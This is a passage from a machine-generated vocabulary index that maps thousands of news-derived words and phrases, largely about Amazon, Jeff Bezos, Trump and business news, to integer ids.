"article ricky": 26323, "nextstep": 26324, "activists hailing": 26325, "zuckerberg spoke": 26326, "begin tower": 26327, "service 2019": 26328, "week seeking": 26329, "secretive": 26330, "hudson valley": 26331, "dynamite talking": 26332, "firms grew": 26333, "current toll": 26334, "company funds": 26335, "reckless": 26336, "candidacy unlikely": 26337, "workers comprise": 26338, "students complaints": 26339, "canelo alvarez": 26340, "tool": 26341, "amazon probably": 26342, "dozens temporary": 26343, "nordegren 100": 26344, "best selling": 26345, "tailgate": 26346, "actions look": 26347, "arrested caretaker": 26348, "texts reportedly": 26349, "latest spy": 26350, "beast sanchez": 26351, "old wisdom": 26352, "starter": 26353, "selling toy": 26354, "ice raising": 26355, "umbrella": 26356, "directives giving": 26357, "skid set": 26358, "quiet accuser": 26359, "strength eat": 26360, "mogul personal": 26361, "latest controversy": 26362, "monologue new": 26363, "represented": 26364, "misconduct apology": 26365, "news point": 26366, "cities started": 26367, "model year": 26368, "beria": 26369, "inquired students": 26370, "overwhelmingly started": 26371, "investor optimism": 26372, "tell reporters": 26373, "zeroes jeff": 26374, "breath literally": 26375, "incident seth": 26376, "pencil": 26377, "personal texts": 26378, "sec sends": 26379, "donor meeting": 26380, "league college": 26381, "maybe bezos": 26382, "minnesota democrat": 26383, "sagers": 26384, "analyst rob": 26385, "sandwiches drinks": 26386, "fmcsa": 26387, "masquerade": 26388, "cnbc offers": 26389, "site president": 26390, "identical division": 26391, "bellone wants": 26392, "yemen": 26393, "687": 26394, "brazil economy": 26395, "building publix": 26396, "advantage customers": 26397, "dear evan": 26398, "tin foil": 26399, "associate david": 26400, "divorcing ending": 26401, "intimidate politicians": 26402, "pdf include": 26403, "enter": 26404, "lakewoodpd": 26405, "somber": 26406, "amazon legal": 26407, "noughts": 26408, "rising slowly": 26409, "dr tal": 26410, "features language": 26411, "potential warning": 26412, "new kind": 26413, "amazon boeing": 26414, "hallow eve": 26415, "launch pair": 26416, "garden 75m": 26417, "lobbyist tells": 26418, "sanchez showed": 26419, "tornadoes": 26420, "laura stevens": 26421, "prizes": 26422, "separate companies": 26423, "ongoing rancor": 26424, "checked stories": 26425, "day live": 26426, "vudu happy": 26427, "insider request": 26428, "goods beijing": 26429, "week long": 26430, "annoying": 26431, "102": 26432, "parties govpredict": 26433, "little stations": 26434, "new flavors": 26435, "safeguard small": 26436, "sags": 26437, "friend weather": 26438, "33m shares": 26439, "programs supported": 26440, "traitors channel": 26441, "typical strategy": 26442, "providing mere": 26443, "cite": 26444, "bills according": 26445, "computing operations": 26446, "lose track": 26447, "competitive": 26448, "checkpoints": 26449, "containing human": 26450, "marital relationship": 26451, "skill building": 26452, "software projects": 26453, "evapotranspiration": 26454, "jgreen16": 26455, "formal statement": 26456, "achieves kind": 26457, "era photo": 26458, "header": 26459, "iowa voters": 26460, "aggressively raise": 26461, "firm says": 26462, "denies claims": 26463, "spectrum auction": 26464, "implores viewers": 26465, "security cabinet": 26466, "good solid": 26467, "lcso": 26468, "someday amazon": 26469, "agroclimatic": 26470, "months stephen": 26471, "campus col": 26472, "soccer coach": 26473, "american alicia": 26474, "amazon proactively": 26475, "daily hive": 26476, "personally involved": 26477, "talk brent": 26478, "sale bezos": 26479, "atob": 26480, "strong report": 26481, "correll washington": 26482, "right julie": 26483, "holiday gift": 26484, "demographic": 26485, "57m": 26486, "combos": 26487, "controlled bezos": 26488, "caravan service": 26489, "network activity": 26490, "dino": 26491, "alongside": 26492, "underscored": 26493, "amazon old": 26494, "cert": 26495, "new initiatives": 26496, "trump winning": 26497, "trump pressuring": 26498, "cohn brennan": 26499, "new monopoly": 26500, "spoken publicly": 26501, "surveyed compared": 26502, "bulls bears": 26503, "compete right": 26504, "explicit lessons": 26505, "bit better": 26506, "bezos going": 26507, "rates driving": 26508, "raising": 26509, "material profits": 26510, "neale": 26511, "laser": 26512, "vehicles read": 26513, "sufficiently": 26514, "dominate wide": 26515, "raised regarding": 26516, "gmos whatsoever": 26517, "utilities democratically": 26518, "massed": 26519, "taser dad": 26520, "noble bob": 26521, "buy point": 26522, "locka florida": 26523, "journalists featured": 26524, "ears otyf": 26525, "expensing nb": 26526, "europe opened": 26527, "york man": 26528, "minute ago": 26529, "labor practice": 26530, "election messaging": 26531, "addressing trump": 26532, "bundle wires": 26533, "action suit": 26534, "sporting goods": 26535, "owner wipes": 26536, "conqueror": 26537, "peter sarsgaard": 26538, "potential acquirers": 26539, "company ended": 26540, "takes direct": 26541, "favorite ubhi": 26542, "despite complaints": 26543, "operator good": 26544, "photo afp": 26545, "wet fronts": 26546, "bezos baby": 26547, "complied": 26548, "vass": 26549, "2019 china": 26550, "experienced record": 26551, "just sliver": 26552, "politico trump": 26553, "covington catholic": 26554, "state public": 26555, "mucci": 26556, "inadvertently picks": 26557, "receiving data": 26558, "inner demons": 26559, "moon vice": 26560, "dastardly threats": 26561, "actual hike": 26562, "numerous trump": 26563, "measure lately": 26564, "bezos briefly": 26565, "nether region": 26566, "kingdom responsibility": 26567, "synagogue published": 26568, "told associated": 26569, "old offers": 26570, "yelp yelp": 26571, "brazil shutterstock": 26572, "store wants": 26573, "angeles philharmonic": 26574, "burroughs grad": 26575, "tweets 2018": 26576, "outpace supply": 26577, "schwan food": 26578, "offset dropping": 26579, "patents added": 26580, "seattletimes": 26581, "blue smile": 26582, "topics sarah": 26583, "scrutiny bezos": 26584, "women including": 26585, "send harmful": 26586, "ways easley": 26587, "tony abboud": 26588, "operations center": 26589, "eckhart amanda": 26590, "just doing": 26591, "gop brand": 26592, "plus year": 26593, "rebel wilson": 26594, "cyber intrusions": 26595, "architect videocmsurl": 26596, "make monthly": 26597, "plans beforethis": 26598, "dial": 26599, "reshaping": 26600, "gill": 26601, "spinoffs": 26602, "dana blankenhorn": 26603, "southern district": 26604, "really viral": 26605, "biggest brands": 26606, "stock specifically": 26607, "executives received": 26608, "photos scott": 26609, "kelly tyko": 26610, "amazon 2659": 26611, "origin closer": 26612, "certainly true": 26613, "amazon kerfuffle": 26614, "initiate": 26615, "tackling high": 26616, "moderating force": 26617, "dark": 26618, "criticized don": 26619, "railroad industry": 26620, "summons": 26621, "prevent publication": 26622, "usatoda usnews": 26623, "tsunami severe": 26624, "advertising copy": 26625, "egalitarian": 26626, "writers researchers": 26627, "liberal leaning": 26628, "collects car": 26629, "reported details": 26630, "monney bosch": 26631, "started major": 26632, "venture partnerships": 26633, "fair diaries": 26634, "saw new": 26635, "transparency amazon": 26636, "season daniel": 26637, "lost statewide": 26638, "bulling": 26639, "air film": 26640, "affluent hometown": 26641, "haute looking": 26642, "platform businesses": 26643, "hiring illegal": 26644, "private sector": 26645, "empathy training": 26646, "company proposed": 26647, "drivers file": 26648, "\u01429": 26649, "lapd": 26650, "neo lords": 26651, "wrote 1000": 26652, "paper newspapers": 26653, "massive technology": 26654, "free markets": 26655, "ohio legislature": 26656, "alle": 26657, "created pressure": 26658, "release charts": 26659, "documents south": 26660, "footnotes": 26661, "graduates immigration": 26662, "negative eps": 26663, "information donald": 26664, "soaringly": 26665, "doesn care": 26666, "competitive service": 26667, "makeshift campground": 26668, "watching merging": 26669, "national emergencies": 26670, "submit schedule": 26671, "holiday vitriol": 26672, "amazon process": 26673, "2018q4 valued": 26674, "grading": 26675, "released eve": 26676, "trees": 26677, "1745": 26678, "i0 s9x": 26679, "upi president": 26680, "sachs cfo": 26681, "potentially reach": 26682, "cnbc additionally": 26683, "cummings": 26684, "stars amazon": 26685, "hetmyer": 26686, "dynamic mixed": 26687, "author bob": 26688, "grocery": 26689, "chris wray": 26690, "philanthropic push": 26691, "leader trent": 26692, "pioneers": 26693, "disaster president": 26694, "bigger logistics": 26695, "indoors jacinda": 26696, "2020 broward": 26697, "particularly appeal": 26698, "repeatedly complained": 26699, "surface best": 26700, "trump think": 26701, "billionaire steve": 26702, "religious beliefs": 26703, "uber funder": 26704, "strategist started": 26705, "cash offers": 26706, "politicususa politicususa": 26707, "paper written": 26708, "sales promotion": 26709, "misinformation": 26710, "bones discount": 26711, "blame michael": 26712, "yarish netflix": 26713, "red square": 26714, "partake": 26715, "taken page": 26716, "global plant": 26717, "constitutes political": 26718, "elmjouie": 26719, "banking meltdowns": 26720, "godwink": 26721, "350 ethnic": 26722, "approved entrepreneurs": 26723, "indigenous": 26724, "striped": 26725, "soldiers hometowns": 26726, "despises cnn": 26727, "article37723967 focuses": 26728, "stamps jumped": 26729, "congress gallingly": 26730, "eal": 26731, "gulftimes yoshida": 26732, "hordes": 26733, "burger chains": 26734, "finance ma": 26735, "a4 return": 26736, "violence labor": 26737, "resurrector": 26738, "image bezos": 26739, "kohring st": 26740, "trust xom": 26741, "blackout venezuela": 26742, "howard comments": 26743, "brian chappatta": 26744, "powells speech": 26745, "fund raiser": 26746, "oracle senior": 26747, "youtube face": 26748, "intensely horrifying": 26749, "pells sent": 26750, "fixer upper": 26751, "postal delivery": 26752, "prohibitions": 26753, "putin demands": 26754, "operating chief": 26755, "1979 pagels": 26756, "stood second": 26757, "juno awards": 26758, "zone program": 26759, "riveted": 26760, "trump refugee": 26761, "company solidifying": 26762, "called rekognition": 26763, "rebuke bezos": 26764, "inauguration ceremony": 26765, "midsummer holiday": 26766, "vein amazon": 26767, "venezuela opposition": 26768, "cnn correspondent": 26769, "ecommerce behemoth": 26770, "course president": 26771, "security china": 26772, "commonly counterfeited": 26773, "host george": 26774, "morrow pasta": 26775, "000 brooklyn": 26776, "sales process": 26777, "residency": 26778, "publicized competition": 26779, "522 million": 26780, "disliked": 26781, "greatest makers": 26782, "866 853": 26783, "gone girl": 26784, "fucked": 26785, "sponsored products": 26786, "mounting crises": 26787, "america newsroom": 26788, "detailing": 26789, "defiantly bald": 26790, "publishing firm": 26791, "retail market": 26792, "medical journalist": 26793, "unglamorous products": 26794, "etf": 26795, "tribe": 26796, "mahindra spearheading": 26797, "dbx": 26798, "parenting": 26799, "stop behaving": 26800, "presidents senior": 26801, "ontario blue": 26802, "reputed": 26803, "internal policies": 26804, "walmart showed": 26805, "local cbs": 26806, "wealth gaps": 26807, "million brits": 26808, "showing": 26809, "sizeable industry": 26810, "driver involved": 26811, "duston": 26812, "excelsior scholarship": 26813, "reportedly going": 26814, "russian bot": 26815, "parhizkaran": 26816, "story describes": 26817, "pager": 26818, "plus bezos": 26819, "commercialappeal": 26820, "122 million": 26821, "actually stores": 26822, "reason oil": 26823, "care reconciliation": 26824, "psychic": 26825, "eventually wrote": 26826, "scandal struck": 26827, "competition commissioner": 26828, "work doesn": 26829, "contacting sellers": 26830, "h9x function": 26831, "requires websites": 26832, "package destined": 26833, "795": 26834, "jenn boden": 26835, "137 respectively": 26836, "george keely": 26837, "fall amazon": 26838, "vodka trump": 26839, "wobble": 26840, "bizarrely sears": 26841, "showtime synopsis": 26842, "shadow techn": 26843, "motivated becker": 26844, "mark 100": 26845, "fascinating understandable": 26846, "lasted year": 26847, "strong defenses": 26848, "doctored news": 26849, "caa rachel": 26850, "schumer wields": 26851, "york police": 26852, "today newsletter": 26853, "sufficient numbers": 26854, "detailed examination": 26855, "2019 plan": 26856, "comprehensive benefit": 26857, "francis pope": 26858, "slow torture": 26859, "tremendous ambassadors": 26860, "collective bargaining": 26861, "fool owns": 26862, "1940x900 getty_173218731_200015422000928060_388160": 26863, "beneficial offers": 26864, "compete read": 26865, "management staff": 26866, "borrowed": 26867, "medical practice": 26868, "sage": 26869, "post mike": 26870, "super nice": 26871, "looked magnanimous": 26872, "physical barriers": 26873, "24th potus": 26874, "misses fewer": 26875, "cancellation rates": 26876, "modest fall": 26877, "senator sanders": 26878, "paving roads": 26879, "reuters business": 26880, "reviews late": 26881, "569 852": 26882, "device guessed": 26883, "content riveting": 26884, "repurchases itep": 26885, "employers including": 26886, "city outer": 26887, "consumers based": 26888, "exlarge 169": 26889, "radar company": 26890, "descended": 26891, "wasn going": 26892, "lake china": 26893, "longer speaks": 26894, "impersonation": 26895, "possibly violated": 26896, "trainwreck": 26897, "opinions diverge": 26898, "member connolly": 26899, "seen subsequently": 26900, "stems": 26901, "practically unmatched": 26902, "villain style": 26903, "new girl": 26904, "new advertising": 26905, "lady accepted": 26906, "catchingly lovely": 26907, "investing market": 26908, "trump belief": 26909, "major trading": 26910, "challenging": 26911, "instincts align": 26912, "environmental advocates": 26913, "girlsworld": 26914, "large intrusive": 26915, "work yes": 26916, "gc_custom_credit": 26917, "services file": 26918, "hopeful carol": 26919, "story investigators": 26920, "magazine robin": 26921, "afterward": 26922, "omnibus": 26923, "scandal led": 26924, "billing practices": 26925, "slope": 26926, "pay": 26927, "behold new": 26928, "amazon question": 26929, "damaging amazon": 26930, "soybean farms": 26931, "p500 investors": 26932, "aggressively pushing": 26933, "3nextprevplay slideshowbillionaire": 26934, "select newsletter": 26935, "viewer asked": 26936, "prompting frequent": 26937, "google staff": 26938, "hiring": 26939, "refreshing": 26940, "plan david": 26941, "break bartiromo": 26942, "naloxone training": 26943, "pelosi democrats": 26944, "rockefeller": 26945, "marches": 26946, "mattress": 26947, "technologists": 26948, "npr scientists": 26949, "chapo": 26950, "footsteps": 26951, "shared previously": 26952, "thriller keeping": 26953, "strategizing": 26954, "different phony": 26955, "teller joined": 26956, "canada finalists": 26957, "senators warn": 26958, "bezos vision": 26959, "proliferate": 26960, "modern monetary": 26961, "principal global": 26962, "qauz4tl6ux david": 26963, "bezos ian": 26964, "attempted reorg": 26965, "tumulty washington": 26966, "carter freshman": 26967, "endured weeks": 26968, "hamilton mour\u00e3o": 26969, "efficiency gains": 26970, "granger": 26971, "developed taxi": 26972, "giant retailers": 26973, "sanchez remains": 26974, "obvious counterfeit": 26975, "world don": 26976, "ergonomic experience": 26977, "829": 26978, "worldview": 26979, "chief development": 26980, "vancouver given": 26981, "directly connected": 26982, "analysts argue": 26983, "degrees celsius": 26984, "ad google": 26985, "cases google": 26986, "dis hold": 26987, "202 518": 26988, "imagery raises": 26989, "google bernie": 26990, "folks talking": 26991, "killing 250": 26992, "standards showing": 26993, "undertaking": 26994, "new loans": 26995, "specifically timed": 26996, "notable riders": 26997, "rejected cities": 26998, "blasted trump": 26999, "bgsa": 27000, "revenue believe": 27001, "special hannity": 27002, "base new": 27003, "proper taxation": 27004, "says paul": 27005, "additional sales": 27006, "gan": 27007, "terms just": 27008, "ching voa": 27009, "site vox": 27010, "powerful reporting": 27011, "company customers": 27012, "toppled hussein": 27013, "benefit usps": 27014, "catalyze future": 27015, "type element": 27016, "hot mess": 27017, "united federal": 27018, "zignal labs": 27019, "override": 27020, "brazil forests": 27021, "sweetheart shipping": 27022, "facet": 27023, "asian countries": 27024, "senate martin": 27025, "additional comment": 27026, "home robot": 27027, "self discovery": 27028, "indians": 27029, "special font": 27030, "hq2 projects": 27031, "robertmuller carterpage": 27032, "additionally tried": 27033, "state building": 27034, "estimates trump": 27035, "nuclear safety": 27036, "trump supported": 27037, "labour contracts": 27038, "rene russo": 27039, "land near": 27040, "created methodologies": 27041, "lachapelle": 27042, "government acquisition": 27043, "internet store": 27044, "wapo report": 27045, "summer amazon": 27046, "rapidly developing": 27047, "president argued": 27048, "human": 27049, "career high": 27050, "benefit bloomberg": 27051, "phenomenal": 27052, "won deliver": 27053, "oracle lawsuit": 27054, "anthology": 27055, "time directly": 27056, "permitting": 27057, "wojtaszek maziarz": 27058, "kenneth wright": 27059, "existence make": 27060, "trump vows": 27061, "amazon politically": 27062, "getting harder": 27063, "putin powerful": 27064, "utterly": 27065, "barron": 27066, "courting curious": 27067, "amc ink": 27068, "trump presumably": 27069, "propublica database": 27070, "maneuvers floated": 27071, "likewise": 27072, "abbie": 27073, "newspaper employees": 27074, "info newstage": 27075, "watch trumps": 27076, "pours": 27077, "post shared": 27078, "200 mile": 27079, "lawsuits": 27080, "massive net": 27081, "prepaid payments": 27082, "gofirst": 27083, "hotel given": 27084, "earnings amzn": 27085, "stelter explored": 27086, "force new": 27087, "including scripted": 27088, "f8 z4": 27089, "business hurd": 27090, "resistance flag": 27091, "british lawmakers": 27092, "100 index": 27093, "issue amazon": 27094, "wrote": 27095, "valley stores": 27096, "credo action": 27097, "snow tow": 27098, "andrew wheeler": 27099, "cultural soulmates": 27100, "latest retailer": 27101, "account manager": 27102, "sic newly": 27103, "naked": 27104, "modern version": 27105, "press data": 27106, "sears opens": 27107, "calls attention": 27108, "704 216": 27109, "killing crew": 27110, "new policies": 27111, "unpredictable president": 27112, "colman": 27113, "oops happened": 27114, "produce trademark": 27115, "pokes": 27116, "endicia": 27117, "internal utm_term": 27118, "famously given": 27119, "censorious president": 27120, "names attached": 27121, "expensive heavy": 27122, "ambago butuan": 27123, "isn ideal": 27124, "county judge": 27125, "elin nordegren": 27126, "involved abramowitz": 27127, "offer visions": 27128, "availability location": 27129, "beautiful bike": 27130, "average expected": 27131, "rightly points": 27132, "caneiro": 27133, "leveraging technology": 27134, "wwii vet": 27135, "whoa": 27136, "trump expense": 27137, "1542": 27138, "products geekwire": 27139, "howard describing": 27140, "commercial packages": 27141, "widely accused": 27142, "taxvox": 27143, "necessarily": 27144, "earnings cantillon": 27145, "trade differences": 27146, "self identify": 27147, "provided chinese": 27148, "patchett president": 27149, "commercial powerhouse": 27150, "destroying social": 27151, "greater effort": 27152, "unions leaked": 27153, "whatyou": 27154, "chose long": 27155, "carell": 27156, "amazon andes": 27157, "bear indicator": 27158, "uncertainty earlier": 27159, "yes accusations": 27160, "moon landing": 27161, "rebekah denn": 27162, "money reimbursement": 27163, "booksellers": 27164, "planslawmakers": 27165, "afghan women": 27166, "mess inhumans": 27167, "ago amazon": 27168, "busiest time": 27169, "square kilometers": 27170, "city military": 27171, "exactly member": 27172, "final month": 27173, "profitable investor": 27174, "mls": 27175, "lilly keely": 27176, "maps untouched": 27177, "podcasts google": 27178, "webmasters": 27179, "5t2ev8dpbe myles": 27180, "services did": 27181, "dreamed possible": 27182, "told newsday": 27183, "mit media": 27184, "587 vacancies": 27185, "notable names": 27186, "spanish language": 27187, "stage tracks": 27188, "bagua mirror": 27189, "tonight correspondent": 27190, "dispensing": 27191, "presentation": 27192, "hello sunshine": 27193, "held 185": 27194, "negotiated warrants": 27195, "successes woodward": 27196, "report stocks": 27197, "code faces": 27198, "sign border": 27199, "say clapper": 27200, "procedures": 27201, "taxes ripping": 27202, "using nfc": 27203, "flight barely": 27204, "copies": 27205, "children librarian": 27206, "amazon offer": 27207, "requires disobeying": 27208, "housing programs": 27209, "unapologetically": 27210, "sisters story": 27211, "francisco museum": 27212, "share thomson": 27213, "euro oeit": 27214, "quizzes": 27215, "administration investigating": 27216, "nearly double": 27217, "khanna calif": 27218, "wisconsin girl": 27219, "casual sex": 27220, "pack": 27221, "added security": 27222, "far flung": 27223, "platform hosts": 27224, "highlighting amazon": 27225, "source sofia": 27226, "agreement null": 27227, "pay gap": 27228, "special factors": 27229, "spokeswoman confirmed": 27230, "evolving": 27231, "bidding opened": 27232, "lamb brody": 27233, "euphoric": 27234, "curry": 27235, "honeyman": 27236, "strong wage": 27237, "washington posts": 27238, "sale months": 27239, "malfeasance": 27240, "make globalised": 27241, "senior canadian": 27242, "daimler ag": 27243, "matters leaving": 27244, "disarmed": 27245, "munduruku people": 27246, "whatcomes": 27247, "devotees": 27248, "civilian shoulder": 27249, "largest employers": 27250, "mayor jim": 27251, "pic ubhi": 27252, "voters taken": 27253, "bigger orbital": 27254, "helipads": 27255, "cairn": 27256, "honcho": 27257, "loan constitutes": 27258, "immigration committee": 27259, "collectively assign": 27260, "oscars nbc": 27261, "just overwhelmingly": 27262, "moved rapidly": 27263, "absolutely perfect": 27264, "pence": 27265, "voice": 27266, "finally amazon": 27267, "jones knowingly": 27268, "ana navarro": 27269, "years producers": 27270, "decapitators": 27271, "var j0": 27272, "merchandising": 27273, "reemerging gaining": 27274, "receive stronger": 27275, "domestic service": 27276, "demands involving": 27277, "hyperaggressive": 27278, "massive dividends": 27279, "tickets": 27280, "ends meet": 27281, "igniting investor": 27282, "setting foot": 27283, "work needs": 27284, "cash hurts": 27285, "rigby": 27286, "mailer lists": 27287, "briefing nytimes": 27288, "shutterstock": 27289, "oregano": 27290, "gloria borger": 27291, "wszpajivh6 donald": 27292, "sightings": 27293, "150bn fortune": 27294, "cafe": 27295, "pulpit including": 27296, "book reddit": 27297, "sec legacy": 27298, "double decker": 27299, "technology advances": 27300, "usually quick": 27301, "comparatively stingy": 27302, "tump": 27303, "apple slid": 27304, "weekly inspirational": 27305, "supremacist merchandise": 27306, "headline article": 27307, "circumstances support": 27308, "unfounded suspicion": 27309, "unaccounted": 27310, "email refers": 27311, "amazon rose": 27312, "trump biggest": 27313, "america hottest": 27314, "roost books": 27315, "reset": 27316, "comfort": 27317, "bezos lovesick": 27318, "mcmoran": 27319, "voted 412": 27320, "mypov": 27321, "freeloaders": 27322, "passes flex": 27323, "watson banned": 27324, "fb share": 27325, "politicians win": 27326, "leakers": 27327, "customers profits": 27328, "led party": 27329, "private bidders": 27330, "time drivers": 27331, "trust criticisms": 27332, "fubo": 27333, "inadvertently turning": 27334, "goods sold": 27335, "advisers bezos": 27336, "sic antitrust": 27337, "future sales": 27338, "typical attendance": 27339, "combat counterfeits": 27340, "justice ginsburg": 27341, "ill": 27342, "media tryingto": 27343, "message telling": 27344, "dissatisfied": 27345, "girlfriend allegation": 27346, "admiringly": 27347, "unabashedly open": 27348, "political opinions": 27349, "practice mode": 27350, "independent commission": 27351, "pity jobs": 27352, "haridasani gupta": 27353, "weiler": 27354, "arrest nipsey": 27355, "wrist band": 27356, "bear resemblance": 27357, "tweet classified": 27358, "fierce political": 27359, "dowjones": 27360, "work offering": 27361, "archived": 27362, "2013 study": 27363, "kinda scary": 27364, "air sundays": 27365, "higher expectations": 27366, "q3": 27367, "level trade": 27368, "credit credit": 27369, "democrats moves": 27370, "covers lot": 27371, "administrator appointed": 27372, "dina shibabi": 27373, "week appears": 27374, "hurd": 27375, "eleanor fox": 27376, "allow anti": 27377, "bt extra": 27378, "rates showing": 27379, "helped reintegrate": 27380, "2012 ftc": 27381, "commission recommended": 27382, "scrutinized": 27383, "sr remarks": 27384, "novelist david": 27385, "liberal academics": 27386, "09m shares": 27387, "1980s antitrust": 27388, "inline_script_tags": 27389, "manhattan defined": 27390, "mining pesticides": 27391, "evaders": 27392, "shotgun": 27393, "valuation gap": 27394, "campaign silence": 27395, "function i4": 27396, "revised": 27397, "consequences": 27398, "billion round": 27399, "misleading": 27400, "whor": 27401, "employees suspected": 27402, "theory known": 27403, "gains bitcoin": 27404, "masterful": 27405, "force owners": 27406, "loudly rebuking": 27407, "calitrumpgirl": 27408, "dxj": 27409, "featured certain": 27410, "intense surveillance": 27411, "challenged letitia": 27412, "business lending": 27413, "main company": 27414, "today network": 27415, "infusions": 27416, "putin hillary": 27417, "circles trump": 27418, "pho caused": 27419, "katerina kittycat": 27420, "trump encouraged": 27421, "big discount": 27422, "buy company": 27423, "afar": 27424, "traders outlook": 27425, "publication ofthat": 27426, "crop prices": 27427, "journalistic elites": 27428, "conflict jedi": 27429, "obama saying": 27430, "denuclearization matter": 27431, "181004002630": 27432, "budgets": 27433, "aoc fought": 27434, "observing presidents": 27435, "804": 27436, "pellico flagged": 27437, "stocks jacob": 27438, "mahaney": 27439, "rapid pace": 27440, "handsets": 27441, "founder published": 27442, "mayor thank": 27443, "acquired isn": 27444, "subscription showtime": 27445, "cited opposition": 27446, "sanchez blabbed": 27447, "quote longtime": 27448, "faced internal": 27449, "interned": 27450, "realm": 27451, "netherlands france": 27452, "photos apple": 27453, "christmas eve": 27454, "referendum": 27455, "benchmarks doing": 27456, "stopped doing": 27457, "senator randolfo": 27458, "middlesex great": 27459, "great customer": 27460, "justice center": 27461, "shelving plans": 27462, "2019 stephen": 27463, "nonrecycled book": 27464, "martin ceo": 27465, "patronite maggie": 27466, "shaker limited": 27467, "questions personal": 27468, "reportedly uses": 27469, "multinationals": 27470, "says fraud": 27471, "55m": 27472, "told buzzfeed": 27473, "report story": 27474, "consumers concerns": 27475, "better benefits": 27476, "carry implications": 27477, "getvideodata": 27478, "capabilities unlike": 27479, "shares koshinski": 27480, "vegas golden": 27481, "marriage euro": 27482, "calculation fulfillment": 27483, "facility trump": 27484, "widening scandal": 27485, "theatres 2018": 27486, "amazon company": 27487, "daniel torday": 27488, "crime did": 27489, "democrats believe": 27490, "meat policy": 27491, "midpoint": 27492, "chronicle feature": 27493, "rate cut": 27494, "bolsonaro delivers": 27495, "addresses workplace": 27496, "preferred": 27497, "overnight finance": 27498, "possibly orchestrated": 27499, "choice twitter": 27500, "city housing": 27501, "emerzian": 27502, "current net": 27503, "dating watch": 27504, "crisis group": 27505, "source single": 27506, "tower currently": 27507, "viverito double": 27508, "glossing": 27509, "32gb": 27510, "washington president": 27511, "target trump": 27512, "cloud contracts": 27513, "simply don": 27514, "newspaper requests": 27515, "site gives": 27516, "took swing": 27517, "cushioned": 27518, "researcher man": 27519, "obama eclipsed": 27520, "navinfo": 27521, "healthy income": 27522, "old carell": 27523, "redfin redfin": 27524, "city actually": 27525, "mnuchin job": 27526, "clinch": 27527, "veryrisky": 27528, "mackenzie introduced": 27529, "artistic": 27530, "says raped": 27531, "capitalism politics": 27532, "bank holiday": 27533, "disadvantaged 2015": 27534, "florida board": 27535, "repeatedly takes": 27536, "york assemblyman": 27537, "face selfie": 27538, "expense": 27539, "communities resisting": 27540, "mifflin": 27541, "tremendous resources": 27542, "western european": 27543, "zing blog": 27544, "independent parties": 27545, "challenge president": 27546, "misdemeanor punishable": 27547, "dollar year": 27548, "included diaper": 27549, "minor hollywood": 27550, "consider restoring": 27551, "crazy just": 27552, "fatima ali": 27553, "mainstream government": 27554, "storage": 27555, "ipads": 27556, "amazon won": 27557, "guest appearances": 27558, "corporatocracy public": 27559, "john rogers": 27560, "gift shop": 27561, "strengthen customer": 27562, "believes gumball": 27563, "politics rising": 27564, "helps push": 27565, "fan posted": 27566, "demand returning": 27567, "upcoming midterm": 27568, "reefs": 27569, "week later": 27570, "new autonomous": 27571, "growing importance": 27572, "ulteras": 27573, "home life": 27574, "work fine": 27575, "war issues": 27576, "effective response": 27577, "industry estimates": 27578, "amazon toronto": 27579, "maker iii": 27580, "spelled": 27581, "238876 abramson": 27582, "facebook warned": 27583, "create digital": 27584, "gary johnson": 27585, "titled accenture": 27586, "long critical": 27587, "initial story": 27588, "tickets 44842732821": 27589, "remembered today": 27590, "new echos": 27591, "appetizers": 27592, "story jeff": 27593, "seeing strong": 27594, "yelp conference": 27595, "carlos": 27596, "develop deeper": 27597, "outsized number": 27598, "degree write": 27599, "martha manual": 27600, "mother family": 27601, "trip appears": 27602, "father estate": 27603, "rouhani saying": 27604, "powerful talent": 27605, "bi": 27606, "manhunt wildfires": 27607, "times sadly": 27608, "emptyhanded": 27609, "isn really": 27610, "breaking defense": 27611, "pay unreasonable": 27612, "concerns gmbunion4amazon": 27613, "c4e": 27614, "insttype stock": 27615, "informed electorate": 27616, "launch business": 27617, "east ohio": 27618, "bhutanese victims": 27619, "apparently shrugged": 27620, "girls killed": 27621, "ago ami": 27622, "filter search": 27623, "journal interview": 27624, "kim announced": 27625, "angeles evacuation": 27626, "article rbc": 27627, "law": 27628, "samad afp": 27629, "derisively nicknamed": 27630, "phones places": 27631, "alleged fling": 27632, "accountable": 27633, "ganges": 27634, "general counsel": 27635, "says guess": 27636, "agriculture amazon": 27637, "consultant richard": 27638, "apple products": 27639, "falls apart": 27640, "internet business": 27641, "responsible public": 27642, "merchandise amazon": 27643, "longer offer": 27644, "areacouncil": 27645, "lapses emergency": 27646, "validar": 27647, "funny heartwarming": 27648, "sachs alum": 27649, "establishment decrying": 27650, "development senate": 27651, "proxy war": 27652, "different big": 27653, "assorted produce": 27654, "women alarming": 27655, "york campus": 27656, "rates continue": 27657, "theamerican people": 27658, "preview": 27659, "coliseum ian": 27660, "espinal": 27661, "restroom located": 27662, "monumentality": 27663, "related marks": 27664, "amazon news": 27665, "trump website": 27666, "awaiting report": 27667, "rings": 27668, "device improperly": 27669, "expert scott": 27670, "lead law": 27671, "killing way": 27672, "deductible donation": 27673, "net devin": 27674, "pictured inside": 27675, "planned governmentwide": 27676, "phoenix las": 27677, "schuster pointed": 27678, "secretly fathered": 27679, "suit suggested": 27680, "charge customers": 27681, "rent appreciation": 27682, "franck": 27683, "accessibility links": 27684, "encourage businesses": 27685, "consequences warns": 27686, "sees near": 27687, "cnbc squawk": 27688, "kennels movie": 27689, "play important": 27690, "probe does": 27691, "philanthropic gift": 27692, "beijing soon": 27693, "draconian": 27694, "bolted ahead": 27695, "favorable public": 27696, "company splits": 27697, "inexpensive": 27698, "story oracle": 27699, "pessimism": 27700, "won plaudits": 27701, "tentative deal": 27702, "helsinki meeting": 27703, "time ray": 27704, "technology officer": 27705, "arthurschwartz": 27706, "hulu beau": 27707, "laura feuillebois": 27708, "titled cardinal": 27709, "movie global": 27710, "happy ending": 27711, "desperate sarah": 27712, "shirking": 27713, "profit operating": 27714, "2017 newsweek": 27715, "forth argument": 27716, "active participant": 27717, "government environment": 27718, "unaffiliated": 27719, "new turnaround": 27720, "mancini entertainment": 27721, "economics economy": 27722, "opinion follow": 27723, "devastating floods": 27724, "deregulatory changes": 27725, "person eating": 27726, "major appliances": 27727, "complicity": 27728, "nazi pepe": 27729, "chattier": 27730, "hurting brick": 27731, "order directed": 27732, "dhs provided": 27733, "scoreboard": 27734, "solutions maybe": 27735, "downsizinggovernment": 27736, "john deere": 27737, "laetrile": 27738, "decades profitable": 27739, "boost productivity": 27740, "rival interests": 27741, "supply vans": 27742, "earlier speculated": 27743, "giant reported": 27744, "shopping authorities": 27745, "commission plan": 27746, "nadia szold": 27747, "lashes": 27748, "world dumbest": 27749, "assets amassed": 27750, "netting amazon": 27751, "rejects subpoena": 27752, "overrun humanity": 27753, 